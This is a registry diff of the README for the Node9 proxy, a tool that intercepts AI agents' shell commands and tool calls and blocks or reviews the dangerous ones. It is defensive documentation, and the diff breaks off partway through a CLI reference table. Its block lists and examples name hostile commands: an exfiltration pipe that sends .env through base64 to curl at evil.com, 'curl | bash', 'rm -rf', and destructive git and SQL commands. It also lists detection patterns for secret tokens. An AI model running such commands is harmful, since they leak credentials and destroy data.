@node9/proxy 1.7.1 โ†’ 1.8.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -7,729 +7,122 @@
7
7
  [![Open in HF Spaces](https://huggingface.co/datasets/huggingface/badges/resolve/main/open-in-hf-spaces-sm.svg)](https://huggingface.co/spaces/Node9ai/node9-security-demo)
8
8
  [![Documentation](https://img.shields.io/badge/docs-node9.ai%2Fdocs-blue)](https://node9.ai/docs)
9
9
 
10
- **Node9** is the execution security layer for the Agentic Era. It encases autonomous AI Agents (Claude Code, Gemini CLI, Cursor, MCP Servers) in a deterministic security wrapper, intercepting dangerous shell commands and tool calls before they execute.
11
-
12
- While others try to _guess_ if a prompt is malicious (Semantic Security), Node9 _governs_ the actual action (Execution Security).
10
+ **Node9** sits between your AI agent and your system. Every shell command, file write, and tool call passes through Node9 first โ€” blocked, approved, or logged based on your policy. Works with Claude Code, Gemini CLI, Cursor, Codex, and any MCP server.
13
11
 
14
12
  ๐Ÿ“– **[Full Documentation โ†’](https://node9.ai/docs)**
15
13
 
16
14
  ---
17
15
 
18
- ## Contents
19
-
20
- | | |
21
- | ------------------------------------------------- | -------------------------------------------------- |
22
- | [๐Ÿ’Ž The Aha Moment](#-the-aha-moment) | [๐ŸŒ MCP Gateway](#-mcp-gateway) |
23
- | [โšก Key Features](#-key-features) | [๐Ÿค– MCP Server](#-node9-mcp-server) |
24
- | [๐ŸŽฎ Try it Live](#-try-it-live) | [๐Ÿ”— Config Precedence](#-configuration-precedence) |
25
- | [๐Ÿš€ Quick Start](#-quick-start) | [โš™๏ธ Custom Rules](#๏ธ-custom-rules-advanced) |
26
- | [๐Ÿ›ก๏ธ How Protection Works](#๏ธ-how-protection-works) | [๐Ÿ–ฅ๏ธ CLI Reference](#๏ธ-cli-reference) |
27
- | [๐Ÿ›  Protection Modes](#-protection-modes) | [๐Ÿ—บ๏ธ Roadmap](#๏ธ-roadmap) |
28
-
29
- ---
30
-
31
- ## ๐Ÿ’Ž The "Aha!" Moment
32
-
33
- **AIs are literal.** When you ask an agent to "Fix my disk space," it might decide to run `docker system prune -af`.
34
-
35
- **With Node9, the interaction looks like this:**
36
-
37
- 1. **๐Ÿค– AI attempts a "Nuke":** `Bash("docker system prune -af --volumes")`
38
- 2. **๐Ÿ›ก๏ธ Node9 Intercepts:** An OS-native popup appears immediately.
39
- 3. **๐Ÿ›‘ User Blocks:** You click "Block" in the popup.
40
- 4. **๐Ÿง  AI Negotiates:** Node9 explains the block to the AI. The AI responds: _"I understand. I will pivot to a safer cleanup, like removing only large log files instead."_
41
-
42
- ---
43
-
44
- ## โšก Key Features
45
-
46
- ### ๐Ÿ The Multi-Channel Race Engine
47
-
48
- Node9 initiates a **Concurrent Race** across all enabled channels. The first channel to receive a human signature wins and instantly cancels the others:
49
-
50
- - **Native Popup:** OS-level dialog (Mac/Win/Linux) for sub-second keyboard dismissal.
51
- - **Browser Dashboard:** Local web UI for deep inspection of large payloads (SQL/Code).
52
- - **Cloud (Slack):** Remote asynchronous approval for team governance.
53
- - **Terminal:** Classic `[Y/n]` prompt for manual proxy usage and SSH sessions.
16
+ ## The "Aha!" Moment
54
17
 
55
- ### ๐Ÿ›ฐ๏ธ Flight Recorder โ€” See Everything, Instantly
56
-
57
- Node9 records every tool call your AI agent makes in real-time โ€” no polling, no log files, no refresh. Two ways to watch:
18
+ **AIs are literal.** Ask an agent to "fix disk space" and it might run `docker system prune -af --volumes`.
58
19
 
59
20
  <p align="center">
60
21
  <img src="https://github.com/user-attachments/assets/7b22e0fb-35ff-4088-8ee9-cc23216f362f" width="100%">
61
22
  </p>
62
23
 
63
- **Browser Dashboard** (`node9 daemon start` โ†’ `localhost:7391`)
64
-
65
- A live 3-column dashboard. The left column streams every tool call as it happens, updating in-place from `โ— PENDING` to `โœ“ ALLOW` or `โœ— BLOCK`. The center handles pending approvals. The right sidebar controls shields and persistent decisions โ€” all without ever causing a browser scrollbar.
66
-
67
- **Terminal** (`node9 tail`)
68
-
69
- A split-pane friendly stream for terminal-first developers and SSH sessions:
70
-
71
- ```bash
72
- node9 tail # live events only
73
- node9 tail --history # replay recent history then go live
74
- node9 tail | grep DLP # filter to DLP blocks only
75
- ```
76
-
77
- ```
78
- ๐Ÿ›ฐ๏ธ Node9 tail โ†’ localhost:7391
79
- Showing live events. Press Ctrl+C to exit.
80
-
81
- 21:06:58 ๐Ÿ“– Read {"file_path":"src/core.ts"} โœ“ ALLOW
82
- 21:06:59 ๐Ÿ” Grep {"pattern":"authorizeHeadless"} โœ“ ALLOW
83
- 21:07:01 ๐Ÿ’ป Bash {"command":"npm run build"} โœ“ ALLOW
84
- 21:07:04 ๐Ÿ’ป Bash {"command":"curl โ€ฆ Bearer sk-ant-โ€ฆ"} โœ— BLOCK ๐Ÿ›ก๏ธ DLP
85
- ```
86
-
87
- `node9 tail` auto-starts the daemon if it isn't running โ€” no setup step needed.
88
-
89
- After approving the same tool 3+ times, every channel (terminal, browser, native popup) shows a ๐Ÿ’ก insight: _"Approved Nร— before โ€” 'Always Allow' creates a permanent rule."_ Approved and denied cards stay stamped in the terminal history so you always know what was decided and when.
90
-
91
- ### ๐Ÿง  AI Negotiation Loop
24
+ With Node9:
92
25
 
93
- Node9 doesn't just "cut the wire." When a command is blocked, it injects a **Structured Negotiation Prompt** back into the AI's context window. This teaches the AI why it was stopped and instructs it to pivot to a safer alternative.
94
-
95
- ### โช Shadow Git Snapshots (Auto-Undo)
96
-
97
- Node9 takes a silent, lightweight Git snapshot before every AI file edit. Snapshots are stored in an isolated shadow bare repo at `~/.node9/snapshots/` โ€” your project's `.git` is never touched, and no existing git setup is required. If the AI hallucinates and breaks your code, run `node9 undo` to instantly revert โ€” with a full diff preview before anything changes.
98
-
99
- ```bash
100
- # Undo the last AI action (shows diff + asks confirmation)
101
- node9 undo
102
-
103
- # Go back N actions at once
104
- node9 undo --steps 3
105
- ```
106
-
107
- The last 10 snapshots are kept globally across all sessions in `~/.node9/snapshots.json`. Older snapshots are dropped as new ones are added.
26
+ 1. **AI attempts:** `Bash("docker system prune -af --volumes")`
27
+ 2. **Node9 intercepts:** OS-native popup appears instantly
28
+ 3. **You block it** โ€” one click
29
+ 4. **AI pivots:** _"I'll remove large log files instead"_
108
30
 
109
31
  ---
110
32
 
111
- ## ๐ŸŽฎ Try it Live
112
-
113
- No install needed โ€” test Node9's policy engine against real commands in the browser:
114
-
115
- [![Open in HF Spaces](https://huggingface.co/datasets/huggingface/badges/resolve/main/open-in-hf-spaces-sm.svg)](https://huggingface.co/spaces/Node9ai/node9-security-demo)
116
-
117
- ---
118
-
119
- ## ๐Ÿš€ Quick Start
33
+ ## Install
120
34
 
121
35
  ```bash
122
- # Recommended โ€” via Homebrew (macOS / Linux)
123
- brew tap node9-ai/node9
124
- brew install node9
36
+ # macOS / Linux
37
+ brew tap node9-ai/node9 && brew install node9
125
38
 
126
- # Or via npm
39
+ # or via npm
127
40
  npm install -g @node9/proxy
128
-
129
- # 1. Wire Node9 to your agent
130
- node9 setup # interactive menu โ€” picks the right agent for you
131
- node9 addto claude # or wire directly
132
- node9 addto gemini
133
-
134
- # 2. Enable shields for the services you use
135
- node9 shield enable postgres
136
- node9 shield enable aws
137
-
138
- # 3. Verify everything is wired correctly
139
- node9 doctor
140
-
141
- # 4. See what's wired and which MCP servers are proxied
142
- node9 status
143
- ```
144
-
145
- ---
146
-
147
- ## ๐Ÿ›ก๏ธ How Protection Works
148
-
149
- Node9 has two layers of protection. You get Layer 1 automatically. Layer 2 is one command per service.
150
-
151
- ### Layer 1 โ€” Core Protection (Always On)
152
-
153
- Built into the binary. Zero configuration required. Protects the tools every developer uses.
154
-
155
- | What it protects | Example blocked action |
156
- | :-------------------------- | :-------------------------------------------------------------------------------------- |
157
- | **Git** | `git push --force`, `git reset --hard`, `git clean -fd` |
158
- | **Shell** | `curl ... \| bash`, `sudo` commands |
159
- | **SQL** | `DELETE` / `UPDATE` without `WHERE`; `DROP TABLE`, `TRUNCATE TABLE`, `DROP COLUMN` |
160
- | **Filesystem** | `rm -rf` targeting home directory |
161
- | **Secrets (DLP)** | AWS keys, GitHub tokens, Stripe keys, PEM private keys |
162
- | **Pipe-chain exfiltration** | `cat .env \| base64 \| curl https://evil.com` โ€” critical risk blocks; high risk reviews |
163
-
164
- ### ๐Ÿ” DLP โ€” Content Scanner (Always On)
165
-
166
- Node9 scans **every tool call argument** for secrets before the command reaches your agent. If a credential is detected, Node9 hard-blocks the action, redacts the secret in the audit log, and injects a negotiation prompt telling the AI what went wrong.
167
-
168
- **Built-in patterns:**
169
-
170
- | Pattern | Severity | Prefix format |
171
- | :---------------- | :------- | :-------------------------- |
172
- | AWS Access Key ID | `block` | `AKIA` + 16 chars |
173
- | GitHub Token | `block` | `ghp_`, `gho_`, `ghs_` |
174
- | Slack Bot Token | `block` | `xoxb-` |
175
- | OpenAI API Key | `block` | `sk-` + 20+ chars |
176
- | Stripe Secret Key | `block` | `sk_live_` / `sk_test_` |
177
- | PEM Private Key | `block` | `-----BEGIN PRIVATE KEY---` |
178
- | Bearer Token | `review` | `Authorization: Bearer ...` |
179
-
180
- `block` = hard deny, no approval prompt. `review` = routed through the normal race engine for human approval.
181
-
182
- Secrets are **never logged in full** โ€” the audit trail stores only a redacted sample (`AKIA****MPLE`).
183
-
184
- **Config knobs** (in `node9.config.json` or `~/.node9/config.json`):
185
-
186
- ```json
187
- {
188
- "policy": {
189
- "dlp": {
190
- "enabled": true,
191
- "scanIgnoredTools": true
192
- }
193
- }
194
- }
195
- ```
196
-
197
- | Key | Default | Description |
198
- | :--------------------- | :------ | :----------------------------------------------------------------- |
199
- | `dlp.enabled` | `true` | Master switch โ€” disable to turn off all DLP scanning |
200
- | `dlp.scanIgnoredTools` | `true` | Also scan tools in `ignoredTools` (e.g. `web_search`, `read_file`) |
201
-
202
- ### Layer 2 โ€” Shields (Opt-in, Per Service)
203
-
204
- Shields add protection for specific infrastructure and services โ€” only relevant if you actually use them.
205
-
206
- | Shield | What it protects |
207
- | :----------- | :-------------------------------------------------------------------------------------------------------------- |
208
- | `postgres` | Hard-blocks `DROP TABLE`, `TRUNCATE`, `DROP COLUMN` (upgrades Layer 1 review โ†’ block); reviews `GRANT`/`REVOKE` |
209
- | `github` | Blocks `gh repo delete`; reviews remote branch deletion |
210
- | `aws` | Blocks S3 bucket deletion, EC2 termination; reviews IAM changes, RDS deletion |
211
- | `filesystem` | Reviews `chmod 777`, writes to `/etc/` |
212
-
213
- ```bash
214
- node9 shield enable postgres # protect your database
215
- node9 shield enable aws # protect your cloud infrastructure
216
- node9 shield list # see all available shields
217
- node9 shield status # see what's currently active
218
41
  ```
219
42
 
220
- ### ๐Ÿ”“ Trusted Hosts
221
-
222
- Node9 blocks any pipe-chain that sends sensitive files to the network. If the destination is **your own internal API or logging service**, that friction is unnecessary. Trusted hosts let you declare known-safe destinations:
223
-
224
43
  ```bash
225
- node9 trust add api.mycompany.com # exact FQDN
226
- node9 trust add *.logs.mycompany.com # wildcard โ€” matches any subdomain at any depth (api.logs.mycompany.com, us.api.logs.mycompany.com, โ€ฆ) but NOT bare logs.mycompany.com
227
- node9 trust list # see the full list
228
- node9 trust remove api.mycompany.com # remove a host
44
+ node9 setup # auto-detects Claude Code, Gemini CLI, Cursor, Codex
45
+ node9 doctor # verify everything is wired correctly
229
46
  ```
230
47
 
231
- Once a host is trusted, pipe-chain decisions are downgraded for that destination only:
232
-
233
- | Pipe-chain risk | Untrusted destination | Trusted destination |
234
- | :----------------------------------------------- | :-------------------- | :------------------ |
235
- | **critical** (obfuscated, e.g. `base64 \| curl`) | **block** | review |
236
- | **high** (direct, e.g. `cat .env \| curl`) | review | **allow** |
237
-
238
- If **any** sink in the pipeline is untrusted, the original decision stands. Trusted hosts are stored in `~/.node9/trusted-hosts.json` and can only be modified via the CLI โ€” AI tool calls cannot touch this list.
239
-
240
48
  ---
241
49
 
242
- ## ๐Ÿ›  Protection Modes
243
-
244
- | Mode | Target | How it works |
245
- | :-------------- | :---------------------------- | :----------------------------------------------------------------------- |
246
- | **Hook Mode** | Claude Code, Gemini, Cursor | `node9 addto <agent>` wires native pre-execution hooks. |
247
- | **MCP Gateway** | Any MCP server, any AI client | `node9 mcp-gateway --upstream <cmd>` wraps any MCP server transparently. |
248
- | **Manual Mode** | You | `node9 rm -rf /` protects you from your own typos. |
249
-
250
- ---
251
-
252
- ## ๐ŸŒ MCP Gateway
253
-
254
- The MCP Gateway is a **transparent stdio proxy** that sits between any AI agent and any MCP server. The agent doesn't know Node9 is there โ€” it just sees the same MCP server it always did.
255
-
256
- ```
257
- AI Agent (Claude, Cursor, Geminiโ€ฆ)
258
- โ†“ stdio (JSON-RPC)
259
- Node9 MCP Gateway โ† intercepts every tools/call
260
- โ†“ stdio (JSON-RPC)
261
- Upstream MCP Server (filesystem, postgres, browserโ€ฆ)
262
- ```
263
-
264
- **Every `tools/call` is intercepted.** Read-only tools pass through silently. Write/mutate tools are routed through the full approval engine โ€” DLP scan, smart rules, shields, and human approval.
265
-
266
- ### Setup
267
-
268
- **1. Register any MCP server through the gateway:**
269
-
270
- ```bash
271
- # Filesystem server โ€” protect all file writes
272
- claude mcp add filesystem -- node9 mcp-gateway --upstream \
273
- "npx -y @modelcontextprotocol/server-filesystem /your/workspace"
50
+ ## Shields โ€” one command per service
274
51
 
275
- # Any other MCP server โ€” same pattern
276
- claude mcp add myserver -- node9 mcp-gateway --upstream \
277
- "npx -y @some/mcp-server"
278
- ```
279
-
280
- **2. Add globally (all projects):**
52
+ Enable expert-crafted protection for the infrastructure your agent touches:
281
53
 
282
54
  ```bash
283
- claude mcp add --scope user filesystem -- node9 mcp-gateway --upstream \
284
- "npx -y @modelcontextprotocol/server-filesystem /home/you"
285
- ```
286
-
287
- **3. Share with your team via `.mcp.json` in the repo:**
288
-
289
- ```json
290
- {
291
- "mcpServers": {
292
- "filesystem": {
293
- "command": "node9",
294
- "args": ["mcp-gateway", "--upstream", "npx -y @modelcontextprotocol/server-filesystem ."]
295
- }
296
- }
297
- }
298
- ```
299
-
300
- > **Note:** `--upstream` takes a single command string. The gateway's tokenizer splits it on whitespace and handles double-quoted paths (e.g. `"npx \"/path with spaces/server.js\""`) โ€” it does not run a shell.
301
- >
302
- > โš ๏ธ **Supply-chain warning:** `.mcp.json` files from untrusted repositories can specify any `--upstream` command. Always review `.mcp.json` before using it โ€” treat it with the same caution as a `Makefile` or `package.json` `postinstall` script.
303
-
304
- ### What gets protected
305
-
306
- The same `ignoredTools`, smart rules, shields, and DLP that protect hook-mode tools apply here โ€” but matched against **MCP tool names** (e.g. `write_file`, `execute_query`) instead of Claude's built-in tools.
307
-
308
- **Tune your config for MCP tool names:**
309
-
310
- ```json
311
- {
312
- "policy": {
313
- "ignoredTools": ["read_file", "read_text_file", "list_*", "search_*"],
314
- "toolInspection": {
315
- "write_file": "content",
316
- "execute_query": "sql",
317
- "run_command": "command"
318
- }
319
- }
320
- }
321
- ```
322
-
323
- **Add MCP-specific smart rules:**
324
-
325
- ```json
326
- {
327
- "policy": {
328
- "smartRules": [
329
- {
330
- "name": "block-write-production-config",
331
- "tool": "write_file",
332
- "conditions": [{ "field": "path", "op": "matches", "value": "/etc/|/prod/" }],
333
- "verdict": "block",
334
- "reason": "Writes to production config require a manual change process"
335
- }
336
- ]
337
- }
338
- }
339
- ```
340
-
341
- ### How blocked calls look to the AI
55
+ node9 shield enable postgres # blocks DROP TABLE, TRUNCATE, DROP COLUMN
56
+ node9 shield enable mongodb # blocks dropDatabase, drop(), deleteMany({})
57
+ node9 shield enable redis # blocks FLUSHALL, FLUSHDB
58
+ node9 shield enable aws # blocks S3 delete, EC2 terminate, IAM changes
59
+ node9 shield enable k8s # blocks namespace delete, helm uninstall
60
+ node9 shield enable docker # blocks system prune, volume prune, rm -f
61
+ node9 shield enable github # blocks gh repo delete, remote branch deletion
62
+ node9 shield enable bash-safe # blocks curl|bash, base64|sh, rm -rf /
63
+ node9 shield enable filesystem # reviews chmod 777, writes to /etc/
342
64
 
343
- When Node9 blocks an MCP tool call, it returns a structured JSON-RPC error that tells the AI exactly what happened and instructs it to pivot:
344
-
345
- ```json
346
- {
347
- "jsonrpc": "2.0",
348
- "id": 42,
349
- "error": {
350
- "code": -32000,
351
- "message": "NODE9 SECURITY ALERT: Action blocked by DLP โ€” credential detected in content field. Do NOT retry. Remove the hardcoded secret and use an environment variable instead."
352
- }
353
- }
65
+ node9 shield list # see all shields and their status
354
66
  ```
355
67
 
356
68
  ---
357
69
 
358
- ## ๐Ÿค– Node9 MCP Server
359
-
360
- The Node9 MCP Server exposes node9 capabilities โ€” starting with undo โ€” as native MCP tools that Claude, Cursor, and Gemini can call directly. Unlike the MCP Gateway (which wraps _other_ servers), this server is node9's own surface.
361
-
362
- ```
363
- Claude / Cursor / Gemini (MCP client)
364
- โ†“ stdio (JSON-RPC 2.0)
365
- Node9 MCP Server โ† this process
366
- โ†“ direct function calls
367
- ~/.node9/snapshots.json โ† undo history
368
- ```
369
-
370
- ### Setup
70
+ ## MCP Gateway โ€” protect any MCP server
371
71
 
372
- The MCP server is registered **automatically** during `node9 init` or `node9 setup`. No separate step needed. What gets added to your agent config:
72
+ Wrap any MCP server transparently. The AI sees the same server โ€” Node9 intercepts every tool call:
373
73
 
374
74
  ```json
375
75
  {
376
76
  "mcpServers": {
377
- "node9": {
77
+ "postgres": {
378
78
  "command": "node9",
379
- "args": ["mcp-server"]
380
- }
381
- }
382
- }
383
- ```
384
-
385
- ### Available Tools
386
-
387
- | Tool | Description |
388
- | :------------------ | :-------------------------------------------------------------------- |
389
- | `node9_undo_list` | List snapshot history โ€” hash, tool, summary, files changed, timestamp |
390
- | `node9_undo_revert` | Revert the working directory to a specific snapshot hash |
391
-
392
- ### Example โ€” Claude using the MCP server
393
-
394
- ```
395
- You: revert the last change node9 captured
396
-
397
- Claude: Let me check the snapshot history first.
398
- [calls node9_undo_list]
399
-
400
- [1] a3f2c1d 4/4/2026, 18:15 Write โ€” src/undo.ts (3 files) cwd: /home/user/myproject
401
- full hash: a3f2c1d8e9b0f1a2b3c4d5e6f7a8b9c0d1e2f3a4
402
-
403
- I'll revert to snapshot a3f2c1d.
404
- [calls node9_undo_revert with hash: "a3f2c1d8e9b0f1a2b3c4d5e6f7a8b9c0d1e2f3a4"]
405
-
406
- Successfully reverted to snapshot a3f2c1d in /home/user/myproject.
407
- ```
408
-
409
- ### Manual testing
410
-
411
- ```bash
412
- npm run build
413
- node dist/cli.js mcp-server
414
- # paste JSON-RPC lines:
415
- {"jsonrpc":"2.0","method":"initialize","id":1,"params":{"protocolVersion":"2024-11-05","clientInfo":{"name":"test"},"capabilities":{}}}
416
- {"jsonrpc":"2.0","method":"tools/list","id":2}
417
- {"jsonrpc":"2.0","method":"tools/call","id":3,"params":{"name":"node9_undo_list","arguments":{}}}
418
- ```
419
-
420
- ---
421
-
422
- ## ๐Ÿ”— Configuration Precedence
423
-
424
- Node9 merges configuration from multiple sources in priority order. Higher tiers win:
425
-
426
- | Tier | Source | Notes |
427
- | :--- | :------------------------ | :-------------------------------------------------------- |
428
- | 1 | **Environment variables** | `NODE9_MODE=strict` overrides everything |
429
- | 2 | **Cloud / Org policy** | Set in the Node9 dashboard โ€” cannot be overridden locally |
430
- | 3 | **Project config** | `node9.config.json` in the working directory |
431
- | 4 | **Global config** | `~/.node9/config.json` |
432
- | 5 | **Built-in defaults** | Always active, no config needed |
433
-
434
- **Settings** (mode, approvers, timeouts) follow the table above โ€” higher tier wins. A project config overrides a global config.
435
-
436
- **Smart rules** work differently. All layers are concatenated into a single ordered list and evaluated first-match-wins:
437
-
438
- ```
439
- built-in defaults โ†’ global config โ†’ project config โ†’ shields โ†’ advisory defaults
440
- ```
441
-
442
- Because built-in `block` rules sit at the front of this list, they always fire before any user-defined `allow` rule. **A project or global config cannot bypass Layer 1 protection.** Within the user layers, a project `block` rule fires before a shield `block` rule โ€” so project policy can tighten or selectively override a shield.
443
-
444
- ---
445
-
446
- ## โš™๏ธ Custom Rules (Advanced)
447
-
448
- Most users never need this. If you need protection beyond Layer 1 and the available shields, add **Smart Rules** to `node9.config.json` in your project root or `~/.node9/config.json` globally.
449
-
450
- Smart Rules match on **raw tool arguments** using structured conditions:
451
-
452
- ```json
453
- {
454
- "policy": {
455
- "smartRules": [
456
- {
457
- "name": "block-prod-deploy",
458
- "tool": "bash",
459
- "conditions": [
460
- { "field": "command", "op": "matches", "value": "kubectl.*--namespace=production" }
461
- ],
462
- "verdict": "block",
463
- "reason": "Deploying to production requires a manual release process"
464
- }
465
- ]
466
- }
467
- }
468
- ```
469
-
470
- **Smart Rule fields:**
471
-
472
- | Field | Description |
473
- | :---------------- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
474
- | `tool` | Tool name or glob (`"bash"`, `"mcp__postgres__*"`, `"*"`) |
475
- | `conditions` | Array of conditions evaluated against the raw args object |
476
- | `conditionMode` | `"all"` (AND, default) or `"any"` (OR) |
477
- | `verdict` | `"review"` (approval prompt) \| `"block"` (hard deny) \| `"allow"` (skip all checks) |
478
- | `reason` | Human-readable explanation shown in the approval prompt and audit log |
479
- | `dependsOnState` | _(optional)_ Array of state predicates โ€” block only fires when **all** are true. If any predicate is false or the daemon is unreachable the rule is downgraded to review (fail-open). See [Stateful Rules](#stateful-smart-rules) below. |
480
- | `recoveryCommand` | _(optional)_ Shell command to suggest when the rule blocks โ€” shown on terminal as `๐Ÿ’ก Run: npm test` and sent to the AI as a negotiation hint. |
481
-
482
- ### Stateful Smart Rules
483
-
484
- Stateful rules let you block actions based on **what the AI has done earlier in the session**, not just what it's doing now. The canonical use case: block deployment unless a test has passed since the last file edit.
485
-
486
- ```json
487
- {
488
- "policy": {
489
- "smartRules": [
490
- {
491
- "name": "require-tests-before-deploy",
492
- "tool": "Bash",
493
- "conditions": [
494
- {
495
- "field": "command",
496
- "op": "matches",
497
- "value": "./deploy.sh|kubectl apply|npm run deploy"
498
- }
499
- ],
500
- "verdict": "block",
501
- "reason": "Run tests before deploying",
502
- "dependsOnState": ["no_test_passed_since_last_edit"],
503
- "recoveryCommand": "npm test"
504
- }
505
- ]
506
- }
507
- }
508
- ```
509
-
510
- **How it works:**
511
-
512
- 1. The AI attempts a deploy command.
513
- 2. Node9 checks the daemon: _"Has a test passed since the last file edit?"_
514
- 3. **If no** โ†’ routes to the race engine. Terminal shows the STATE GUARD card with `[1] Allow / [2] Redirect AI to run tests / [3] Deny`. The AI receives a negotiation hint to run `npm test` first if the human redirects.
515
- 4. **If yes** โ†’ the rule is skipped, normal approval flow continues.
516
- 5. **Daemon unreachable** โ†’ fail-open, rule is skipped.
517
-
518
- > **โš ๏ธ Security note โ€” fail-open behaviour:** When the daemon is unreachable, stateful block rules are silently downgraded to review. This is intentional (availability over lockout), but it means a network disruption can temporarily weaken these rules. A per-rule `failMode: 'closed'` option is planned. If you need a hard guarantee, use a plain block rule (no `dependsOnState`) instead.
519
-
520
- **State is tracked automatically** โ€” no config required beyond the rule itself:
521
-
522
- - File edits are detected from `Edit`, `Write`, `MultiEdit` tool calls.
523
- - Test results are detected from the PostToolUse hook reading command output. Supported runners: `vitest`, `jest`, `mocha`, `pytest`, `cargo test`, `go test`, `rspec`, `phpunit`, `dotnet test`.
524
-
525
- **Available predicates:**
526
-
527
- | Predicate | True when |
528
- | :------------------------------- | :------------------------------------------------------------ |
529
- | `no_test_passed_since_last_edit` | A file was edited and no passing test has been recorded since |
530
-
531
- > **Requires the node9 daemon** (`node9 daemon start`). Without the daemon the predicate is always unknown โ†’ fail-open.
532
-
533
- **Condition operators:**
534
-
535
- | `op` | Meaning |
536
- | :--------------- | :------------------------------------------------------------------------- |
537
- | `matches` | Field value matches regex (`value` = pattern, `flags` = e.g. `"i"`) |
538
- | `notMatches` | Field value does not match regex (`value` = pattern, `flags` optional) |
539
- | `contains` | Field value contains substring |
540
- | `notContains` | Field value does not contain substring |
541
- | `exists` | Field is present and non-empty |
542
- | `notExists` | Field is absent or empty |
543
- | `matchesGlob` | Field value matches a glob pattern (`value` = e.g. `"**/node_modules/**"`) |
544
- | `notMatchesGlob` | Field value does not match a glob pattern |
545
-
546
- The `field` key supports dot-notation for nested args: `"params.query.sql"`.
547
-
548
- Use `node9 explain <tool> <args>` to dry-run any tool call and see exactly which rule would trigger.
549
-
550
- ### Settings
551
-
552
- ```json
553
- {
554
- "version": "1.0",
555
- "settings": {
556
- "mode": "audit",
557
- "enableUndo": true,
558
- "flightRecorder": true,
559
- "approvalTimeoutMs": 30000,
560
- "approvers": {
561
- "native": true,
562
- "browser": true,
563
- "cloud": false,
564
- "terminal": true
79
+ "args": ["mcp", "--upstream", "npx -y @modelcontextprotocol/server-postgres postgresql://..."]
565
80
  }
566
81
  }
567
82
  }
568
83
  ```
569
84
 
570
- | Key | Default | Description |
571
- | :------------------- | :-------- | :-------------------------------------------------------------------------------------------- |
572
- | `mode` | `"audit"` | `audit` \| `observe` \| `standard` \| `strict` โ€” see [Security Modes](#-security-modes) below |
573
- | `enableUndo` | `true` | Take git snapshots before every AI file edit |
574
- | `flightRecorder` | `true` | Record tool call activity to the flight recorder ring buffer for the browser UI |
575
- | `approvalTimeoutMs` | `30000` | Auto-deny after N ms if no human responds (`0` = wait forever) |
576
- | `approvers.native` | `true` | OS-native popup |
577
- | `approvers.browser` | `true` | Browser dashboard (`node9 daemon`) |
578
- | `approvers.cloud` | `false` | Slack / SaaS approval โ€” requires `node9 login`; opt-in only |
579
- | `approvers.terminal` | `true` | `[Y/n]` prompt in terminal |
580
-
581
- ## ๐Ÿ”’ Security Modes
582
-
583
- | Mode | Blocks? | Runs rules? | Use when |
584
- | :--------- | :------ | :---------- | :--------------------------------------------------------------------------- |
585
- | `audit` | Never | No | You want a log of every tool call but never want node9 to interfere |
586
- | `observe` | Never | Yes | New install โ€” see what _would_ have been blocked before enabling enforcement |
587
- | `standard` | Yes | Yes | Normal use โ€” dangerous commands need human approval |
588
- | `strict` | Yes | Yes | High-security โ€” anything not explicitly allowed is denied |
589
-
590
- **`audit` vs `observe`:** Both never block. The difference is that `audit` skips the policy pipeline entirely (zero overhead, pure logging), while `observe` runs smart rules and DLP in full โ€” recording each `would-block` decision without acting on it. The HUD shows `โš  N would-block` in observe mode so you can see what enforcement would look like in practice.
591
-
592
- **Recommended path:** start on `observe` for a few days to build confidence, then switch to `standard`.
85
+ Or use `node9 setup` โ€” it wraps existing MCP servers automatically.
593
86
 
594
87
  ---
595
88
 
596
- ## ๐Ÿ›ก๏ธ Security Statusline (HUD)
89
+ ## Python SDK โ€” govern any Python agent
597
90
 
598
- When Claude Code is detected, `node9 init` automatically adds a **security statusline** to Claude Code's terminal UI. You can also add it manually:
91
+ ```python
92
+ from node9 import configure
599
93
 
600
- ```bash
601
- node9 setup hud # add to ~/.claude/settings.json
602
- node9 setup hud --remove
603
- ```
94
+ configure(agent_name="my-agent", policy="require_approval")
604
95
 
605
- The HUD renders up to three lines below Claude Code's prompt:
606
-
607
- ```
608
- ๐Ÿ›ก node9 | standard | โœ… 14 allowed ๐Ÿ›‘ 1 blocked โšก require-tests-before-deploy
609
- claude-opus-4-5 โ”‚ ctx โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–‘โ–‘ 82% โ”‚ 5h โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–‘โ–‘โ–‘โ–‘ 61% (43m left)
610
- 2 CLAUDE.md | 5 rules | 3 MCPs | 2 hooks
96
+ # Your existing agent code runs unchanged โ€” Node9 intercepts tool calls
611
97
  ```
612
98
 
613
- | Segment | Source | Notes |
614
- | :----------------- | :-------------------------- | :------------------------------------------------------- |
615
- | `standard` | daemon: current mode | changes colour in `strict` (red) and `observe` (magenta) |
616
- | `โœ… N allowed` | daemon: session counters | resets when the daemon restarts |
617
- | `๐Ÿ›‘ N blocked` | daemon: session counters | shown in red when > 0 |
618
- | `โš  N would-block` | daemon: session counters | shown instead of blocked/allowed in `observe` mode |
619
- | `โšก rule-name` | daemon: last smart rule hit | most recent rule that fired |
620
- | Context bar | Claude Code stdin | token usage and rate limit windows |
621
- | Environment counts | local config files | CLAUDE.md / rules / MCPs / hooks active in this project |
622
-
623
- When the daemon is not running the HUD shows `๐Ÿ›ก node9 | offline` instead of an error.
99
+ **[Python SDK โ†’](https://github.com/node9-ai/node9-python)** ยท **[Governed Agent examples โ†’](https://github.com/node9-ai/governed-agent)**
624
100
 
625
101
  ---
626
102
 
627
- ## ๐Ÿ–ฅ๏ธ CLI Reference
628
-
629
- | Command | Description |
630
- | :----------------------------------- | :------------------------------------------------------------------------------------ |
631
- | `node9 setup` | Interactive menu โ€” detects installed agents and wires hooks for you |
632
- | `node9 addto <agent>` | Wire hooks for a specific agent (`claude`, `gemini`, `cursor`) |
633
- | `node9 setup hud` | Add the node9 security statusline to Claude Code (also done automatically by `init`) |
634
- | `node9 init` | Create default config, wire detected agents, and set up the HUD |
635
- | `node9 status` | Show current protection status and active rules |
636
- | `node9 doctor` | Health check โ€” verifies binaries, config, credentials, and all agent hooks |
637
- | `node9 shield <cmd>` | Manage shields (`enable`, `disable`, `list`, `status`) |
638
- | `node9 trust add <host>` | Add a host to the trusted list โ€” pipe-chain blocks to this host are downgraded |
639
- | `node9 trust remove <host>` | Remove a trusted host |
640
- | `node9 trust list` | Show all trusted hosts |
641
- | `node9 tail [--history]` | Stream live agent activity to the terminal (auto-starts daemon if needed) |
642
